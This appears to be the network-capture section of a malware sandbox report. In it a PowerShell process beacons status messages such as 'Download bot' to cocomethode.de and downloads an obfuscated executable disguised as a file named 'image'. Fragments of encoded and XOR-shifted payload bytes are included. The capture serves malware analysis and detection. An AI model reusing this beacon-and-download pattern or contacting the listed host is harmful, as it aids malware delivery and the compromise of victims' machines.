2024-12-11 11:14:39 UTC	1369	IN	Data Raw: 30 68 4c 31 6d 6f 52 31 4f 52 62 44 6d 44 4c 46 65 4f 53 49 4f 6f 52 6a 65 73 5b 31 79 59 64 45 43 4b 50 30 4b 75 58 57 65 35 63 47 47 74 63 45 43 60 56 44 30 30 57 44 65 56 65 57 6e 7b 54 6c 38 51 64 54 47 73 58 57 4f 7b 62 6a 75 55 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 60 30 71 75 63 49 4f 60 57 54 6e 30 5b 44 65 56 64 6d 65 34 54 6f 43 58 54 31 44 34 52 54 4f 52 63 56 47 59 64 46 79 53 63 6c 76 76 56 6d 69 4e 58 6a 71 49 63 46 53 4b 50 7b 47 71 5b 54 62 34 64 54 6d 45 54 6d 6d 68 4c 31 71 4c 56 6d 69 73 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 5b 53 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 30 6f 57 6b 4f 4a 62 46 53 49 57 56 65 6a 53 33 69 72 52 54 65 56 65 57 6a 7b 52 Data Ascii: 0hL1moR1ORbDmDLFeOSIOoRjes[1yYdECKP0KuXWe5cGGtcEC`VD00WDeVeWn{Tl8QdTGsXWO{bjuUPkeDTV8oRTOC[1mEPVeKP1GoRTOC`0qucIO`WTn0[DeVdme4ToCXT1D4RTORcVGYdFySclvvVmiNXjqIcFSKP{Gq[Tb4dTmETmmhL1qLVmisUjOqPVeKP1GoRTOC[3[SLDuDTV8oRTOC[1mEPVeKP10oWkOJbFSIWVejS3irRTeVeWj{R
2024-12-11 11:14:39 UTC	1369	IN	Data Raw: 35 63 44 6d 70 62 31 34 45 5b 7b 43 4d 52 54 4f 43 5b 31 6d 48 5b 46 38 69 57 32 69 72 52 54 4f 6f 60 33 4f 75 57 6b 43 6b 63 6c 79 44 58 6b 4f 56 65 56 53 45 50 59 53 68 52 47 47 6f 52 6a 62 79 60 46 57 46 52 6c 79 6a 52 44 71 76 56 6d 69 4f 5b 31 79 59 53 6f 57 60 50 31 47 31 58 6c 31 34 4c 44 6d 45 54 6c 75 68 4c 33 53 30 58 6a 62 34 60 47 71 46 55 6b 47 5b 4c 6a 34 72 56 6d 65 52 63 47 71 45 60 33 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 48 76 58 33 34 73 5b 33 57 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 59 6d 42 53 46 47 49 57 6c 71 69 64 54 4b 76 56 6c 6d 42 4c 46 47 49 57 56 65 60 53 30 5b 37 5b 44 65 72 65 57 6d 58 54 6f 43 68 4c 6b 53 6f 56 6c 30 72 62 30 71 55 50 6c 69 68 52 44 71 72 56 57 Data Ascii: 5cDmpb14E[{CMRTOC[1mH[F8iW2irRTOo`3OuWkCkclyDXkOVeVSEPYShRGGoRjby`FWFRlyjRDqvVmiO[1yYSoW`P1G1Xl14LDmETluhL3S0Xjb4`GqFUkG[Lj4rVmeRcGqE`3eme{CMRTOC[1mEPVeKP1HvX34s[3W2LDuKP1GoRTOC[1mEPVeKP1GoRYmBSFGIWlqidTKvVlmBLFGIWVe`S0[7[DereWmXToChLkSoVl0rb0qUPlihRDqrVW
2024-12-11 11:14:39 UTC	743	IN	Data Raw: 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 57 6b 47 56 54 47 4f 57 4c 57 53 59 53 57 5b 50 57 6f 6d 43 60 57 4b 49 4e 55 4f 68 63 59 69 33 56 57 65 53 5b 30 6a 78 4e 59 53 6b 53 32 69 72 5b 44 65 56 60 31 38 71 50 56 75 6a 53 30 5b 31 58 31 57 60 62 46 4b 49 57 56 6d 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 30 4b 73 58 6b 4f 6a 65 56 4b 49 4e 56 69 60 53 6a 35 79 56 55 4b 4e 63 47 71 59 54 6c 79 60 50 31 44 34 52 54 57 4e 65 6c 4b 74 56 6c 79 6b 63 6d 47 31 54 6c 30 72 62 30 71 56 5b 49 43 6a 53 33 69 5b 58 6b 4f 4b 5b 31 79 57 63 49 57 6b 52 47 58 76 54 6c 30 72 62 30 71 56 50 6c 69 6a 53 33 65 6f 52 6a 69 52 63 46 4b 58 50 6a 65 69 57 32 69 72 52 54 4c 79 54 46 53 58 54 6f 65 Data Ascii: P1GoRTOC[1mEPVeKP1GoWkGVTGOWLWSYSW[PWomC`WKINUOhcYi3VWeS[0jxNYSkS2ir[DeV`18qPVujS0[1X1W`bFKIWVmQe{CMRTOC[1mEPVeKP1GoRTOC[1mEPVeKP0KsXkOjeVKINVi`Sj5yVUKNcGqYTly`P1D4RTWNelKtVlykcmG1Tl0rb0qV[ICjS3i[XkOK[1yWcIWkRGXvTl0rb0qVPlijS3eoRjiRcFKXPjeiW2irRTLyTFSXToe
2024-12-11 11:14:39 UTC	1369	IN	Data Raw: 42 4c 46 47 59 4e 59 57 58 54 31 48 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 71 4b 53 56 69 6e 58 6c 30 52 62 30 71 55 50 6f 43 68 63 6d 4b 72 58 33 31 30 63 46 53 45 50 6c 79 6b 63 6a 71 33 58 33 34 4f 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 53 6c 53 56 57 45 43 72 55 6d 54 79 60 44 5b 54 4c 56 4f 6f 52 56 75 72 65 56 53 49 57 6f 6d 68 63 57 58 76 52 54 65 56 64 56 4f 75 4e 59 6d 51 60 54 47 73 52 31 4f 52 5b 6a 79 73 57 6b 53 5b 4c 6d 5b 32 5b 44 65 72 65 6c 4b 71 4f 54 34 60 56 44 34 37 56 57 65 6a 63 44 75 55 52 54 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 6c 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 70 56 57 69 52 60 6c 47 45 50 6b 65 44 54 56 38 6f 52 54 Data Ascii: BLFGYNYWXT1H2SGGw[1mEPVeKP1GoRTOC[1mEPVqKSVinXl0Rb0qUPoChcmKrX310cFSEPlykcjq3X34OUjOqPVeKP1GoRTOC[1mEPVeKSlSVWECrUmTy`D[TLVOoRVureVSIWomhcWXvRTeVdVOuNYmQ`TGsR1OR[jysWkS[Lm[2[DerelKqOT4`VD47VWejcDuURT4E`TGoRTOC[1mEPVelTUCMRTOC[1mEPVeKP1KpVWiR`lGEPkeDTV8oRT
2024-12-11 11:14:39 UTC	1369	IN	Data Raw: 56 44 47 6f 55 47 5b 4e 63 47 6a 78 4e 59 57 60 52 44 30 6f 55 57 53 43 4f 31 53 53 62 47 69 56 57 55 6d 4a 57 47 5b 4e 56 57 4b 57 4e 57 69 4b 50 31 71 47 58 6b 4f 6a 65 56 4b 49 4e 56 69 60 50 31 4b 71 58 6b 4f 53 60 54 38 32 4c 44 75 52 53 7b 6a 7b 58 6c 30 35 65 6d 6d 59 54 59 53 52 63 56 79 7b 56 6d 5b 6a 62 46 53 49 60 47 4f 60 56 47 4b 34 5b 57 4f 43 65 46 53 58 52 6f 4f 4b 50 31 71 77 5b 44 69 52 65 33 4f 37 63 32 5b 4c 4c 6a 34 33 56 55 48 34 65 47 71 58 54 6c 38 68 4c 6d 4b 72 55 46 30 52 63 44 76 78 56 6f 43 68 53 30 57 34 55 49 71 4f 65 30 6d 75 52 55 43 51 57 44 71 72 56 59 71 6f 4c 31 38 44 60 7b 57 5b 57 44 71 71 55 6a 65 47 4f 47 71 75 53 55 47 5b 64 6c 79 72 56 6d 65 56 60 6a 34 44 56 55 57 4e 57 31 71 75 56 56 71 4b 65 31 30 37 54 55 4f Data Ascii: VDGoUG[NcGjxNYW`RD0oUWSCO1SSbGiVWUmJWG[NVWKWNWiKP1qGXkOjeVKINVi`P1KqXkOS`T82LDuRS{j{Xl05emmYTYSRcVy{Vm[jbFSI`GO`VGK4[WOCeFSXRoOKP1qw[DiRe3O7c2[LLj43VUH4eGqXTl8hLmKrUF0RcDvxVoChS0W4UIqOe0muRUCQWDqrVYqoL18D`{W[WDqqUjeGOGquSUG[dlyrVmeV`j4DVUWNW1quVVqKe107TUO
2024-12-11 11:14:39 UTC	1369	IN	Data Raw: 47 6e 78 63 49 71 6a 53 30 5b 34 55 47 5b 4e 60 6c 47 49 57 6c 75 6a 57 32 69 72 56 6a 5b 52 60 46 4c 78 62 33 65 4c 57 54 5b 70 5b 44 65 72 65 6c 4b 71 50 56 75 5b 57 31 35 76 58 57 62 34 65 54 6d 45 4c 57 47 6b 63 56 79 30 56 55 4b 72 65 30 6d 59 65 33 65 4a 52 44 4b 34 58 57 62 30 60 6c 47 58 50 6c 69 68 50 31 47 31 57 6a 69 4a 62 47 6e 78 5b 46 79 6b 60 54 47 73 5b 44 69 4a 62 47 6e 78 5b 46 79 6b 60 54 47 31 57 55 4b 56 4c 46 53 49 63 49 57 60 4c 31 30 6f 52 6a 69 4e 63 46 53 48 54 6f 43 68 63 56 53 37 52 54 4c 79 57 57 6d 58 55 6f 4b 54 63 54 5b 31 56 6d 4f 43 60 56 57 72 55 6c 79 6b 63 6d 71 76 56 55 4b 56 60 6d 6d 59 65 49 5b 69 57 44 57 32 52 56 6d 43 65 47 4b 49 57 6f 71 5b 4c 31 71 76 58 31 69 52 62 46 48 78 4f 46 65 4b 63 46 53 76 58 6c 30 52 Data Ascii: GnxcIqjS0[4UG[N`lGIWlujW2irVj[R`FLxb3eLWT[p[DerelKqPVu[W15vXWb4eTmELWGkcVy0VUKre0mYe3eJRDK4XWb0`lGXPlihP1G1WjiJbGnx[Fyk`TGs[DiJbGnx[Fyk`TG1WUKVLFSIcIW`L10oRjiNcFSHToChcVS7RTLyWWmXUoKTcT[1VmOC`VWrUlykcmqvVUKV`mmYeI[iWDW2RVmCeGKIWoq[L1qvX1iRbFHxOFeKcFSvXl0R
2024-12-11 11:14:39 UTC	1369	IN	Data Raw: 50 56 65 4b 50 31 47 6f 52 6a 65 4a 65 6d 71 48 60 33 65 50 54 31 47 73 56 6b 4b 35 65 6d 6d 75 53 6f 4f 51 63 44 71 50 57 47 5b 52 55 47 53 47 62 47 65 53 4c 49 65 6f 5b 6a 4f 42 53 46 48 78 4f 55 4b 60 56 44 6e 76 57 6a 62 35 65 47 4f 74 55 6f 5b 68 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 47 63 49 57 6a 63 55 6d 78 56 6d 4c 79 56 47 71 59 52 6d 4f 60 56 44 58 79 56 6d 69 4e 4c 44 6d 45 4c 57 5b 6b 63 56 75 6f 52 6a 69 56 64 56 47 55 50 59 53 54 57 30 58 76 58 54 62 34 60 31 6d 46 50 6f 5b 6b 4c 30 47 6f 55 47 57 6e 63 47 6d 59 54 6c 79 6b 63 6a 30 6f 52 6a 65 6e 63 47 6d 59 54 6c 79 6b 63 6a 30 6f 55 47 57 4a 65 6d 71 48 60 33 65 4a 53 31 71 33 56 6a 69 73 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 5b Data Ascii: PVeKP1GoRjeJemqH`3ePT1GsVkK5emmuSoOQcDqPWG[RUGSGbGeSLIeo[jOBSFHxOUK`VDnvWjb5eGOtUo[h`oONP3mC[1mEPVeKP1GoRTOC[1mGcIWjcUmxVmLyVGqYRmO`VDXyVmiNLDmELW[kcVuoRjiVdVGUPYSTW0XvXTb4`1mFPo[kL0GoUGWncGmYTlykcj0oRjencGmYTlykcj0oUGWJemqH`3eJS1q3VjisUjOqPVeKP1GoRTOC[3[
2024-12-11 11:14:39 UTC	1369	IN	Data Raw: 47 47 77 5b 31 6d 45 50 56 65 4d 54 55 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 4b 64 54 4b 48 56 6d 69 53 5b 33 53 49 60 46 79 4b 52 47 4b 72 58 6d 69 42 65 6c 4f 75 53 6f 6d 6d 54 31 4b 75 58 6b 4b 35 60 30 71 58 52 56 65 6b 53 31 58 76 58 54 44 76 52 31 6d 45 50 56 65 4b 50 30 48 76 56 6d 62 79 65 30 4b 75 4e 59 4f 60 53 30 5b 34 52 54 50 76 5b 30 62 79 55 6b 57 6b 4c 30 4b 72 58 6d 4c 30 52 6d 53 34 4f 57 47 5b 56 47 4b 77 56 47 53 77 4f 6d 48 78 57 6b 43 56 53 30 5b 31 58 31 5b 42 60 46 53 49 5b 33 38 4d 54 55 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 4b 64 54 4b 44 58 6b 48 79 60 56 47 59 4f 56 79 4b 52 47 4b 77 56 6d 4f 42 4c 47 71 59 4c 59 65 4b 53 30 71 33 58 6a 65 52 63 46 4f 71 50 6f 65 5b 56 47 4b 77 52 54 65 46 65 57 71 45 50 6c 30 69 57 32 69 72 Data Ascii: GGw[1mEPVeMTUCMSGGw[1mEPVeKdTKHVmiS[3SI`FyKRGKrXmiBelOuSommT1KuXkK5`0qXRVekS1XvXTDvR1mEPVeKP0HvVmbye0KuNYO`S0[4RTPv[0byUkWkL0KrXmL0RmS4OWG[VGKwVGSwOmHxWkCVS0[1X1[B`FSI[38MTUCMSGGw[1mEPVeKdTKDXkHy`VGYOVyKRGKwVmOBLGqYLYeKS0q3XjeRcFOqPoe[VGKwRTeFeWqEPl0iW2ir

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.30	49828	172.67.128.139	443	6008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:39 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 140
2024-12-11 11:14:39 UTC	140	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 44 79 6c 61 6e 65 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
2024-12-11 11:14:40 UTC	1209	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:40 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xMsPyY1BFCKOCW4eW4c20FFpMK5Th1RUseDjvn3uxjgPr7vIO8xxoBmH7KP%2FTkSwN2Fgu3fkydx9ubhBZJCYiQQmQUfogqgKmGpmvjtzk4281RaSLmqYvYuGldfz3wpy%2BhUYEMfkTRmh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=55824&min_rtt=1094&rtt_var=9192&sent=8267&recv=3938&lost=0&retrans=0&sent_bytes=11535460&recv_bytes=286917&delivery_rate=20463611&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d68d89cb0a5-ATL server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=45&rtt_var=19&sent=8&recv=10&lost=0&retrans=0&sent_bytes=14215&recv_bytes=2176&delivery_rate=1423543478&cwnd=177&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113933&min_rtt=113849&rtt_var=24152&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1085&delivery_rate=33557&cwnd=252&unsent_bytes=0&cid=32fdccbcd407b124&ts=567&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.30	49831	172.67.128.139	443	6008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:52 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 69
2024-12-11 11:14:52 UTC	69	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
2024-12-11 11:14:52 UTC	1198	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:52 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HQtwocklcrWKQQKclpFpHp8V7T7JBWq5Wl2fFp737jZCdkuDtYmpPEotIM4XdQk5tneKB3E0tqibbkm%2BnX%2BmZR2tYldUda7Zsj30l504Ss3Nnj5izOQejN%2FlfKwmeLy3VpMqb5UHpPCL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=52205&min_rtt=1213&rtt_var=12170&sent=247&recv=448&lost=0&retrans=0&sent_bytes=23812&recv_bytes=402326&delivery_rate=3293233&cwnd=258&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050db54addbcf6-ATL server-timing: cfL4;desc="?proto=TCP&rtt=48&min_rtt=41&rtt_var=12&sent=14&recv=16&lost=0&retrans=0&sent_bytes=19179&recv_bytes=3618&delivery_rate=1364229166&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=57&min_rtt=55&rtt_var=13&sent=9&recv=11&lost=0&retrans=0&sent_bytes=13077&recv_bytes=2332&delivery_rate=1190600000&cwnd=34&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:52 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 36 30 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 32 37 26 72 74 74 5f 76 61 72 3d 32 34 30 34 37 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 31 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 34 30 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 37 30 38 38 64 36 61 33 35 63 34 64 63 37 37 63 26 74 73 3d 35 39 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113760&min_rtt=113727&rtt_var=24047&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1013&delivery_rate=33640&cwnd=252&unsent_bytes=0&cid=7088d6a35c4dc77c&ts=594&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.30	49832	172.67.128.139	443	6008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:53 UTC	333	OUT	GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:14:53 UTC	1322	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:53 GMT Content-Type: application/octet-stream Content-Length: 8357376 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2Bf9EIPeHC9vRBedoaeB9LKRlIrvdIoj63J40dcvK9Vh3vvQEBgc9YE3jLi%2FRzlH4iDW7HMga3FSg%2BFo2AqdU3qtN1CwDLpcGt1HoUsZ%2FPIusRg9SeQGNczBDGwSZCsF%2FPsD%2FyvWCiXN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29848&min_rtt=911&rtt_var=29058&sent=28548&recv=13255&lost=0&retrans=0&sent_bytes=40621499&recv_bytes=555747&delivery_rate=38706976&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050dbaaeab457b-ATL server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=45&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=588&delivery_rate=0&cwnd=116&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113812&min_rtt=113766&rtt_var=24077&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=971&delivery_rate=33616&cwnd=252&unsent_bytes=0&cid=72df19b1db9a76b0&ts=848&x=0"
2024-12-11 11:14:53 UTC	47	IN	Data Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 Data Ascii: L[A
2024-12-11 11:14:53 UTC	1369	IN	Data Raw: 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 e8 de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 99 0f 59 66 01 01 01 01 01 01 01 01 f1 01 23 01 0a 03 0f 28 01 e5 46 01 01 51 38 01 01 17 16 01 e1 b7 0a 01 01 11 01 01 01 01 01 41 00 01 01 01 01 11 01 01 01 03 01 01 07 01 01 01 01 01 Data Ascii: M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDeYf#(FQ8A
2024-12-11 11:14:53 UTC	1369	IN	Data Raw: 82 38 01 74 00 c2 49 8a d1 e8 4b d6 25 01 49 8c 04 52 e7 4f 01 49 8c 0c 45 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 2c d6 25 01 49 8c 04 47 e7 4f 01 49 8c 0c 36 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 11 d6 25 01 49 8c 04 38 e7 4f 01 49 8c 0c 2b e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f2 d7 25 01 49 8c 04 2d e7 4f 01 49 8c 0c 1c e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 d7 d7 25 01 49 8c 04 1e e7 4f 01 49 8c 0c 11 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 b8 d7 25 01 49 8c 04 13 e7 4f 01 49 8c 0c 02 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 9d d7 25 01 49 8c 04 2c e7 4f 01 49 8c 0c 1f e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 7e d7 25 01 49 8c 04 21 e7 4f 01 49 8c 0c 10 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 63 d7 25 01 49 8c 04 5a e7 4f 01 49 8c Data Ascii: 8tIK%IROIEOI8tI,%IGOI6OI8tI%I8OI+OI8tI%I-OIOI8tI%IOIOI8tI%IOIOI8tI%I,OIOI8tI~%I!OIOI8tIc%IZOI
2024-12-11 11:14:53 UTC	1369	IN	Data Raw: 49 8a d1 e8 f6 d0 25 01 49 8c 04 99 e9 4f 01 49 8c 0c 88 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 db d0 25 01 49 8c 04 92 e9 4f 01 49 8c 0c 85 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 bc d0 25 01 49 8c 04 0f e8 4f 01 49 8c 0c fe e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a1 d0 25 01 49 8c 04 08 e8 4f 01 49 8c 0c fb e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 82 d0 25 01 49 8c 04 05 e8 4f 01 49 8c 0c f4 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 d0 25 01 49 8c 04 46 e8 4f 01 49 8c 0c 39 e8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 48 d0 25 01 49 8c 04 83 e8 4f 01 49 8c 0c 72 e8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 2d d0 25 01 49 8c 04 8c e8 4f 01 49 8c 0c 7f e8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 0e d0 25 01 49 8c 04 99 e8 4f 01 49 8c 0c 88 e8 4f 01 49 Data Ascii: I%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tIg%IFOI9OI8tIH%IOIrOI8tI-%IOIOI8tI%IOIOI
2024-12-11 11:14:53 UTC	742	IN	Data Raw: 49 8c 04 fe 77 90 01 49 8a 01 49 8c 0c ac db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 cd 25 01 49 8c 04 e6 77 90 01 49 8a 01 49 8c 0c 94 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 cd 25 01 49 8c 04 ce 77 90 01 49 8a 01 49 8c 0c 7c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 cd 25 01 49 8c 04 c6 77 90 01 49 8a 01 49 8c 0c 64 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 cd 25 01 49 8c 04 b6 77 90 01 49 8a 01 49 8c 0c 54 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 ca 25 01 49 8c 04 a6 77 90 01 49 8a 01 49 8c 0c 3c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 ca 25 01 49 8c 04 ae 77 90 01 49 8a 01 49 8c 0c 3c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 ca 25 01 49 8c 04 96 77 90 01 49 8a 01 49 8c 0c 2c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 ca 25 Data Ascii: IwIIOI8tIg%IwIIOI8tIG%IwII\|OI8tI'%IwIIdOI8tI%IwIITOI8tI%IwII<OI8tI%IwII<OI8tI%IwII,OI8tI%
